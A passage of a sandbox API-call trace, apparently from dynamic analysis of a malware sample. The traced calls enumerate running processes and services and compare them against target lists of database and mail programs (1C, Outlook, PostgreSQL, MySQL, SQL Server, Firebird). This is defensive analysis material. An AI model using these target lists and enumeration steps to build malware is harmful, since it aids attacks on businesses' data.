(lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0144.071] Process32NextW (in: hSnapshot=0x368, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0144.071] lstrlenW (lpString="winlogon.exe") returned 12 [0144.071] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0144.071] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0144.071] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0144.072] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0144.072] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0144.072] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0144.072] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0144.072] Process32NextW (in: hSnapshot=0x368, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0144.072] lstrlenW (lpString="services.exe") returned 12 [0144.072] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0144.072] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0144.072] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0144.072] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0144.072] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0144.072] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0144.072] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0144.072] Process32NextW (in: hSnapshot=0x368, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0144.072] lstrlenW (lpString="lsass.exe") returned 9 [0144.072] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0144.073] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0144.073] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0144.073] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0144.073] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0144.073] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0144.073] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0144.073] Process32NextW (in: hSnapshot=0x368, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0144.073] lstrlenW (lpString="lsm.exe") returned 7 [0144.073] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0144.073] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0144.073] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0144.073] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0144.073] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0144.073] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0144.073] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0144.073] Process32NextW (in: hSnapshot=0x368, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0144.074] lstrlenW (lpString="svchost.exe") returned 11 [0144.074] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0144.074] Process32NextW (in: hSnapshot=0x368, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0144.074] lstrlenW (lpString="svchost.exe") returned 11 [0144.074] Process32NextW (in: hSnapshot=0x368, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0144.074] lstrlenW (lpString="svchost.exe") returned 11 [0144.074] Process32NextW (in: hSnapshot=0x368, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0144.075] lstrlenW (lpString="svchost.exe") returned 11 [0144.075] Process32NextW (in: hSnapshot=0x368, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0144.075] lstrlenW (lpString="svchost.exe") returned 11 [0144.075] Process32NextW (in: hSnapshot=0x368, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0144.075] lstrlenW (lpString="audiodg.exe") returned 11 [0144.075] Process32NextW (in: hSnapshot=0x368, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0144.076] lstrlenW (lpString="svchost.exe") returned 11 [0144.076] Process32NextW (in: hSnapshot=0x368, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0144.076] lstrlenW (lpString="svchost.exe") returned 11 [0144.076] Process32NextW (in: hSnapshot=0x368, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0144.076] lstrlenW (lpString="spoolsv.exe") returned 11 [0144.076] Process32NextW (in: hSnapshot=0x368, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0144.077] lstrlenW (lpString="taskhost.exe") returned 12 [0144.077] Process32NextW (in: hSnapshot=0x368, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0144.077] lstrlenW (lpString="svchost.exe") returned 11 [0144.077] Process32NextW (in: hSnapshot=0x368, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0144.077] lstrlenW (lpString="userinit.exe") returned 12 [0144.077] Process32NextW (in: hSnapshot=0x368, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0144.078] lstrlenW (lpString="dwm.exe") returned 7 [0144.078] Process32NextW (in: hSnapshot=0x368, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0144.078] lstrlenW (lpString="explorer.exe") returned 12 [0144.078] Process32NextW (in: hSnapshot=0x368, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0144.078] lstrlenW (lpString="3G6885.exe") returned 10 [0144.078] Process32NextW (in: hSnapshot=0x368, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0144.079] lstrlenW (lpString="reader_sl.exe") returned 13 [0144.079] Process32NextW (in: hSnapshot=0x368, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0144.079] CloseHandle (hObject=0x368) returned 1 [0144.079] Sleep (dwMilliseconds=0x1f4) [0144.835] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3af1cc8 [0144.845] EnumServicesStatusExW (in: hSCManager=0x3af1cc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0144.846] GetLastError () returned 0xea [0144.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10c8) returned 0x41d9f00 [0144.847] EnumServicesStatusExW (in: hSCManager=0x3af1cc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41d9f00, cbBufSize=0x10c8, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41d9f00, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0144.848] CloseServiceHandle (hSCObject=0x3af1cc8) returned 1 [0144.848] lstrlenW (lpString="Appinfo") returned 7 [0144.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0144.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0144.848] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0144.848] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0144.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0144.848] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0144.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0144.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0144.848] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0144.848] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0144.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0144.848] lstrlenW (lpString="AudioSrv") returned 8 [0144.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0144.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0144.848] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0144.849] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0144.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0144.849] lstrlenW (lpString="BFE") returned 3 [0144.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0144.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0144.849] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0144.849] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0144.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0144.849] lstrlenW (lpString="CryptSvc") returned 8 [0144.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0144.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0144.849] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0144.849] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0144.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0144.849] lstrlenW (lpString="CscService") returned 10 [0144.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0144.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0144.849] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0144.849] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0144.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0144.849] lstrlenW (lpString="DcomLaunch") returned 10 [0144.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0144.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0144.849] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0144.850] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0144.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0144.850] lstrlenW (lpString="Dhcp") returned 4 [0144.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0144.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0144.850] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0144.850] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0144.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0144.850] lstrlenW (lpString="Dnscache") returned 8 [0144.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0144.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0144.850] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0144.850] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0144.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0144.850] lstrlenW (lpString="DPS") returned 3 [0144.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0144.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0144.850] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0144.850] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0144.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0144.850] lstrlenW (lpString="eventlog") returned 8 [0144.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0144.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0144.850] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0144.850] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0144.851] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0144.851] lstrlenW (lpString="EventSystem") returned 11 [0144.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0144.851] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0144.851] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0144.851] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0144.851] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0144.851] lstrlenW (lpString="gpsvc") returned 5 [0144.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0144.851] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0144.851] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0144.851] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0144.851] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0144.851] lstrlenW (lpString="iphlpsvc") returned 8 [0144.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0144.851] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0144.851] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0144.851] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0144.851] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0144.851] lstrlenW (lpString="LanmanServer") returned 12 [0144.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0144.851] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0144.851] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0144.851] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0144.851] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0144.852] lstrlenW (lpString="LanmanWorkstation") returned 17 [0144.852] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0144.852] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0144.852] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0144.852] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0144.852] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0144.852] lstrlenW (lpString="lmhosts") returned 7 [0144.852] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0144.852] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0144.852] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0144.852] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0144.852] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0144.852] lstrlenW (lpString="MMCSS") returned 5 [0144.852] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0144.852] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0144.852] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0144.852] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0144.852] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0144.852] lstrlenW (lpString="MpsSvc") returned 6 [0144.852] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0144.852] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0144.852] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0144.852] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0144.852] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0144.853] lstrlenW (lpString="Netman") returned 6 [0144.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0144.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0144.853] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0144.853] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0144.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0144.853] lstrlenW (lpString="netprofm") returned 8 [0144.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0144.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0144.853] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0144.853] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0144.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0144.853] lstrlenW (lpString="NlaSvc") returned 6 [0144.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0144.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0144.853] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0144.853] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0144.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0144.853] lstrlenW (lpString="nsi") returned 3 [0144.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0144.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0144.853] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0144.853] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0144.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0144.853] lstrlenW (lpString="PcaSvc") returned 6 [0144.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0144.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0144.854] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0144.854] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0144.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0144.854] lstrlenW (lpString="PlugPlay") returned 8 [0144.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0144.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0144.854] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0144.854] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0144.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0144.854] lstrlenW (lpString="Power") returned 5 [0144.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0144.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0144.854] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0144.854] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0144.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0144.854] lstrlenW (lpString="ProfSvc") returned 7 [0144.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0144.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0144.854] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0144.854] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0144.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0144.854] lstrlenW (lpString="RpcEptMapper") returned 12 [0144.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0144.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0144.855] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0144.855] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0144.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0144.855] lstrlenW (lpString="RpcSs") returned 5 [0144.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0144.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0144.855] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0144.855] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0144.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0144.855] lstrlenW (lpString="SamSs") returned 5 [0144.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0144.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0144.855] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0144.855] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0144.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0144.855] lstrlenW (lpString="Schedule") returned 8 [0144.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0144.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0144.855] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0144.855] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0144.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0144.855] lstrlenW (lpString="SENS") returned 4 [0144.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0144.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0144.856] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0144.856] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0144.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0144.856] lstrlenW (lpString="ShellHWDetection") returned 16 [0144.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0144.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0144.856] lstrcmpiW 